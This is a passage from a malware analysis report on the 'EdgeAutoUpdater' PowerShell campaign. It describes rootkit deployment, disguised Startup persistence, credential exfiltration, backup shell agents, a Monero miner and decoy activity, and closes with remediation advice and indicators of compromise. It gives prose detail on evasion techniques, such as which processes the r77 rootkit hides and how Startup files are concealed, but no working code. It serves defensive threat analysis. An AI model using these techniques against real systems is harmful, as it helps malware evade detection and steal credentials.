Standard PowerShell execution is linear (one command waits for the previous one to finish). By using [powershell]::Create() and .BeginInvoke(), the malware forces the system to execute simultaneously.
2.11.5 Rootkit Deployment & Process Hardening
Following the payload execution, the script performs advanced system modification to hide its presence and harden its processes against termination.
A. Masquerading & Persistence The script downloads a binary named cwiper.exe but saves it to the Startup folder as Adobe Acrobat.exe.
Purpose: This disguises the malware as a legitimate PDF reader to evade user suspicion during a casual inspection of the Startup items.
Execution: It launches this binary immediately and captures its Process ID ($targetPID).
B. Process Hardening (ktool.exe) The script utilizes a helper tool named ktool.exe to modify the running malware processes (cwiper.exe and sh.exe).
Arguments: It executes ktool.exe with two specific arguments:
The Target PID of the malware process.
A hardcoded value: fd6c57fa3852aec8.
C. r77 Rootkit Installation The script explicitly configures and installs the r77 Rootkit (Ring 3 Rootkit).
Configuration: It modifies the registry at HKLM:\SOFTWARE\$r77config\process_names to register specific process names for hiding: cwiper, sh, ktool, powershell, conhost, and cmd.
Activation: It downloads and runs rkd.exe (Rootkit Daemon).
Impact: Once active, the r77 rootkit intercepts function calls (hooking) to hide any process matching those names. The malware will become invisible to the user in Task Manager and to standard administration tools.
2.11.6 Standard User Fallback & Persistence
If the privilege check fails (i.e., the malware is not running as Administrator), the script executes a secondary routine designed for Low-Integrity environments.
Nested Stealth Persistence: Instead of dropping the file directly into the Startup folder, the malware defines a nested path: %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\hidden\sh.exe.
Attributes: It applies System (+S) and Hidden (+H) attributes to this path.
Intent: This is a specific anti-forensic technique. By creating a subdirectory (likely intending to hide the folder hidden or the file sh.exe), the attacker hopes that a user or admin manually checking the Startup folder will not see the malicious binary unless they have “Show Protected Operating System Files” enabled.
Persistent Elevation Attempts: The script executes the payload list, which includes $autoelevatepayload. This confirms that even if stuck in a low-privilege context, the malware continuously runs attempt-elevation.ps1 in the background, probing to gain Admin rights.
Secondary Binary (sh.exe): The script downloads sh.exe to this hidden location and executes it. Based on the name and context, this is likely a C2 agent ensuring the attacker retains access even if the primary PowerShell process is terminated.
2.11.7 Exfiltration, Monetization, and Distraction
The script concludes by executing a sequence of actions designed to monetize the infection immediately and cover its tracks using social engineering.
A. Data Exfiltration (lootsubmit.ps1) The script executes lootsubmit.ps1.
Purpose: This script likely aggregates the credentials, cookies, and system info harvested by the previous payloads ($powerstealer, $rubeuspivot) and uploads them to the attacker’s Drop Server.
B. Redundancy (Multiple Agents) The script enters a loop 2..5 to download and execute sh2.exe, sh3.exe, sh4.exe, and sh5.exe.
Tactical Significance: This is a “Zombie Horde” technique. By spawning multiple independent shell agents (likely connecting to different ports or C2s), the attacker ensures that even if defenders terminate sh.exe, four other backup agents remain active.
C. Cryptojacking (XMRig) The script executes xmrigstart.ps1.
Payload:XMRig, a notorious open-source Monero miner.
Impact: This confirms the attack has a financial motive beyond ransomware. The victim’s CPU resources will be hijacked to mine cryptocurrency for the attacker.
Maintenance: It also runs watchdoggo.ps1, a monitoring script likely designed to restart the miner or the malware agents if they are terminated.
D. Legitimacy Masquerading (Microsoft Teams) In a sophisticated evasion attempt, the script downloads the legitimate Microsoft Teams installer from the official Microsoft CDN (statics.teams.cdn.office.net) and installs it via Add-AppxPackage.
Social Engineering: If the computer slows down (due to the miner) or disk activity spikes, the user might investigate. Seeing “Microsoft Teams” installing provides a plausible, non-malicious explanation for the system load (“Oh, it’s just an update”), delaying the user’s reaction time.
E. Distraction (Chaos Tactic) Finally, the script forces the default browser to open specific URLs (a Reddit thread about Indiana Jones, Vimeo videos).
Goal: This creates confusion. The user is distracted by random browser tabs popping up, potentially diverting their attention away from the background encryption or data theft processes.
2.12 Limitation of Scope & Further Payload Assessment
Analysis of the secondary payloads referenced in the Orchestrator script (worm.ps1, powerstealer.ps1, pivot.ps1, etc.) was halted at this stage.
Reasoning for Cessation:
Consistent Delivery Mechanism: The decryption routine for all downstream payloads follows the identical pattern observed in Stages 1–6 (Base64 Encoding -> XOR Decryption with rotating keys -> Invoke-Expression). No new obfuscation techniques.
Confirmed Capabilities: The variable names and the contexts identified in the Orchestrator script provide sufficient confirmation of the malware’s capabilities without requiring reverse engineering of every binary:
$psexecpayload / worm.ps1: Confirmed Lateral Movement capabilities (SMB/RPC Worm).
Given the confirmed presence of Cobalt Strike, XMRig, and rootkit activity, conducting deeper analysis of the commodity payloads would provide little additional insight for the overall risk assessment.
3. Conclusion
The “EdgeAutoUpdater” campaign represents a highly mature and dangerous threat actor. The malware is characterized by its modularity and its aggressive approach to neutralizing host defenses.
Technical Assessment The attacker demonstrates advanced knowledge of Windows internals. The use of Reflective DLL Injection combined with Custom AMSI Hooking renders traditional signature-based antivirus ineffective. Furthermore, the use of NTAPI resolution allows the malware to bypass many modern EDR (Endpoint Detection and Response) hooks.
The campaign is notable for its versatility. It does not rely on a single payload but acts as a “Swiss Army Knife” loader. By breaking the attack into small, obfuscated PowerShell scripts hosted on legitimate infrastructure (Cloudflare Pages), the attacker creates a resilient infrastructure that is difficult to block via simple reputation filtering.
Final Verdict The sample is a Critical Threat. It successfully effectively blinds system defenses and provides the attacker with Administrator-level access, hidden by a Rootkit, with tools pre-staged for immediate ransomware deployment and lateral movement.
Recommendations
Isolate & Re-Image: Due to the deployment of the r77 Rootkit and Kernel Exploits, simple cleanup is unsafe. The machine should be disconnected from the network and fully re-imaged.
Credential Reset: Assume all credentials used on this machine (including Domain Admin tokens, if applicable) have been harvested by $rubeuspivot or $powerstealer. Reset passwords immediately.
Network Block: Blacklist *.thisisnotyourland.pages.dev at the perimeter firewall.
Threat Hunting: Scan the network for the specific IOCs (File: Adobe Acrobat.exe in Startup, Scheduled Task: EdgeAutoUpdaterTask) to identify lateral movement.
I am currently seeking new job opportunities. If you know of any roles that align with my skills and experience, please feel free to connect. Thank you for your support.